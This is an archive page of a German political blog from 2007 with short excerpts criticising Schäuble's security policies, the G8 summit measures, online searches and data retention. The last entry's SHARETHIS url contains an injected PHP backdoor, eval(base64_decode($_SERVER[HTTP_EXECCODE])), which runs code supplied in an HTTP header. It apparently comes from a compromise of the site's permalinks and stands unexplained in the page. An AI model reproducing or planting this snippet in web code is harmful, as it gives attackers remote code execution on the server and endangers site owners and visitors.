Archive for the ‘Politik & News’ Category
Samstag, Juli 7th, 2007
Internierungen und gezielte Erschiessungen in Deutschland. Nach einem Interview des Spiegel mit Wolfgang Schäuble steht auch das auf dessen Agenda.
Damit stellt er laut heise online selbst unter den Vertretern des sog. Feindstrafrechts eine extreme Position dar. Ein Außenseiter unter den Außenseitern sozusagen.
Ob Feindstrafrecht im Geltungsbereich des Grundgesetzes erlaubt ist, ist ...
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Dienstag, Mai 29th, 2007
Presseberichte
[1] Bericht über die Demo (SZ)
[2] Die Polizei schädigt sich selber (SZ)
[3] Militante G-8-Gegner randalieren sich warm (Spiegel Online)
[4] Bericht über die Demo (TAZ)
[5]Bürgerkrieg oder Krieg gegen die Bürger? (Nachdenkseiten)
Bilder
(Quelle: Udo Herzog, Flickr)
(Quelle: Udo Herzog, Flickr)
(Quelle: Udo Herzog, Flickr)
(Quelle: Udo Herzog, Flickr)
(Quelle: NDR)
Weitere Bilder finden sich hier.
Videos
[youtube 7P3b07SuV_0]
(Dieses Video wird ...
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Mittwoch, Mai 23rd, 2007
Scheinbar neue Töne aus der SPD und CDU/CSU. Nach den Anschlägen auf die verfassungsmäßige demokratische Grundordnung in den letzten Monaten, mit denen man vorgeblich die innere Sicherheit zu schützten dachte, könnte man nun an einen Meinungsumschwung glauben.
Immerhin möchte man ein neues Grundrecht einführen.
Diese Welt [gemeint ist das Internet, Anm. Verf.] ...
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Freitag, Mai 18th, 2007
... der Demokratie. Die politische Elite baut sich ihr Nest in Heiligendamm was schätzungsweise zwischen 100 Millionen Euro und 200 Millionen Euro kosten wird.
Einen höheren Preis zahlt aber gegenwärtig der Rechtsstaat. Vorbeugehaft, Massengefängnisse, und Großrazzien zur Einschüchterung sind das, was Politik und Behörden gegenwärtig zu bieten haben.
Neu ...
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Dienstag, Mai 15th, 2007
Die belgische Partei NEE (Nein) ist eine Protestpartei. Ihr Ziel: Möglichst viele Sitze im Parlament, derer sie dann, eben aus Protest, fernzubleiben gedenkt.
Im Kampf um die Sitze leisten sie dabei durchaus Schwestarbeit. Beim Volk versteht sich. Ganz tief unten.
Mann muss sich nur anmelden.
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Montag, Mai 14th, 2007
Bremen hat gewählt und ein deutliches Zeichen gesetzt: Die Grünen erreichen mit 16,43% ihr bestes Ergebnis in einer Landtagswahl aller Zeiten, die Linkspartei zieht zum ersten Mal in ihrer Geschichte in ein westdeutsches Landesparlament ein - ein Ruck geht durch Deutschland. Ein Ruck nach links.
Sogar Claus Christian Mahlzahn, der von ...
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Freitag, Mai 11th, 2007
Wolfgang Schäuble provoziert wieder. Nach der heftig kritisierten Razzia im Vorfeld des G8-Gipfels, bei der 40 Wohnungen von Linksautonomen wegen Verdachts auf Bildung terroristischer Vereinigungen durchsucht wurden, fordert der Innenminister jetzt die präventive Inhaftnahme von Demonstranten,
wenn es tatsächliche Anhaltspunkte für geplante Straftaten gibt. Dies gelte nicht nur für Hooligans, sondern ...
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Mittwoch, Mai 2nd, 2007
Das Aktionsvideo zur Aktion von Geld oder Leben.
[youtube eo0_3h7OBc8]
(Dieses Video wird direkt von Youtube.com eingebunden und unterliegt den entsprechenden Lizenzbedingungen)
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Sonntag, April 29th, 2007
Eine clevere und mutige Aktion, die in den Medien leider nicht allzu große Aufmerksamkeit erreichte. Schade eigentlich. Macht sich das Banner doch wirklich sehr gut...
(Dieses Bild unterliegt dem Copyright des Rechteinhabers)
Weitere Bilder finden sich hier, zum Blog der Aktivisten kommt man über diesen Link
Update: Nach Aussage einer Freundin war die ...
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Mittwoch, April 25th, 2007
Wie die Bundesregierung auf Anfrage der FDP heute erklärt hat, ist die sog. Online-Durchsuchung bereits heute Realität.
Zumindest die Geheimdienste des Bundes sind bereits durch eine Dienstanweisung von Otto Schily zur Online-Durchsuchung berechtigt worden.
Im Urteil des Bundesverfassungsgericht zum großen Lauschangriff verwiesen die Richter 2004 aber auf einen Kernbereich privater Lebensführung, der ...
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Freitag, April 20th, 2007
... aus dem wie der Nordwind der Terror kommt. Dies suggeriert zumindest die US-Botschaft in Berlin:
Die diplomatischen und konsularischen Einrichtungen der Vereinigten Staaten in Deutschland verstärken ihre Sicherheitsmaßnahmen. Wir unternehmen diese Schritte als Reaktion auf eine erhöhte Bedrohungslage. Die US-Botschaft empfiehlt Amerikanern in Deutschland, ihre Wachsamkeit zu verstärken und angemessene ...
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Mittwoch, April 18th, 2007
Das Bundeskabinett hat heute einen neuen Gesetzesentwurf beschlossen: Die Vorratsdatenspeicherung. Sie dient laut Justizministerin Zypries u.a. dem Ausbau der Bürgerrechte. Damit tritt sie in die Fußstapfen von Wolfgang Schäuble, der die Abschaffung der Unschuldsvermutung höchstwahrscheinlich als Beitrag zur Stärkung des Rechtsstaats versteht.
Die ewigen Nörgler rufen derweil noch immer zur Verfassungsbeschwerde ...
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Montag, April 16th, 2007
Schon lange hat es mich geärgert, dass in den deutschen Nachrichten immer nur auftauchte, Al Jazeera habe ein Video ausgestrahlt, man selbiges aber nie zu Gesicht bekam.
Nun könnte das ein Ende haben - Al Jazeera broadcastet sein englisches Programm via YouTube. Damit ist der "Feindsender" endlich für alle verfügbar ...
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Montag, April 16th, 2007
Wolfgang Schäubles neuester Coup ist die Schaffung eines neuen Sicherheitsbegriffes, und die Einebnung zwischen äußerer und innerer Sicherheit...SHARETHIS.addEntry({ title: "Kurz notiert: Schäuble schäubelt wieder", url: "http://www.lawlita.com/2007/04/16/kurz-notiert-schaeuble-schaeubelt-wieder/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });
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